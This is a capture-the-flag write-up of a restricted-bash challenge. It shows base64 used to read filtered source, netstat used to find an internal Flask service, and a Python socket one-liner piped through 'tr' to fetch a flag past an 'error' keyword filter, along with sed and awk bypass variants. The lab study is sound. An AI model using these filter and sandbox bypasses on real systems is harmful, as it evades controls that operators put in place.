Obezbashenniy (Obez-bash-enniy)
Obezbashenniy (Obez-bash-enniy)
Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-26 | Status: Solved Techniques: HTTP request crafting without curl, Internal service discovery via netstat, Output filter bypass using character substitution (tr), Python socket as alternative to broken curl, Source code analysis via base64 encoding
Summary
Task: Restricted bash shell with output filtering and broken curl. Solution: Used base64 to read source code, discovered internal Flask service via netstat, bypassed error filter with tr command, and used Python socket instead of broken curl to get the flag.
Obezbashenniy - Hackerlab
Description
Вам предоставлено приложение с интерпретатором bash, но что-то пошло не так. Необходимо найти и исправить неполадки, используя только bash и доступные в нем инструменты.
Analysis
1. Environment Reconnaissance
After connecting to the service on port 10005, I discovered a restricted bash interpreter with commands:
/cmd <command>- execute command/help- help/exit- exit
2. Reading Source Code
Direct reading with cat main.py didn't work due to filtering. Used base64 to bypass:
bash read-only • copy allowed/cmd base64 main.py
After decoding the output, I found the key filtering logic:
python read-only • copy allowed# If the command output contains "error" - returns "Try harder!" if "error" in output.lower(): return "Try harder!"
3. Internal Service Discovery
bash read-only • copy allowed/cmd netstat -an
Discovered a Flask service on 127.0.0.1:5000 with /flag endpoint.
4. Problem with curl
Attempting to use curl failed:
bash read-only • copy allowed/cmd ./curl http://127.0.0.1:5000/flag # symbol lookup error: ./curl: undefined symbol: curl_easy_option_by_name
The curl binary in the home directory was broken (libcurl incompatibility).
Solution
Bypassing Two Problems Simultaneously
- Broken curl - use Python socket for HTTP requests
- "error" filter - use
trfor character substitution
bash read-only • copy allowed/cmd python3 -c "import socket;s=socket.socket();s.connect(('127.0.0.1',5000));s.send(b'GET /flag HTTP/1.0\r\n\r\n');d=b'';[d:=d+s.recv(1024) for _ in range(10)];print(d.decode())" 2>&1 | tr "e" "E"
Command breakdown:
python3 -c "..."- execute Python codesocket.socket()- create TCP sockets.connect(('127.0.0.1',5000))- connect to Flasks.send(b'GET /flag HTTP/1.0\r\n\r\n')- send HTTP request[d:=d+s.recv(1024) for _ in range(10)]- read response2>&1- redirect stderr to stdouttr "e" "E"- replace all 'e' with 'E' so the word "error" doesn't trigger the filter
Alternative Filter Bypass Methods
bash read-only • copy allowed# Via sed ... | sed 's/error/err0r/g' # Via awk ... | awk '{gsub(/error/,"err0r")}1' # Via base64 ... | base64
Lessons
- base64 - universal way to read files bypassing text filters
- netstat/ss - internal service discovery
- Python socket - replacement for curl/wget when unavailable
- tr/sed - simple bypass of string-based filters via character substitution
- Always check stderr (
2>&1) - it may contain useful information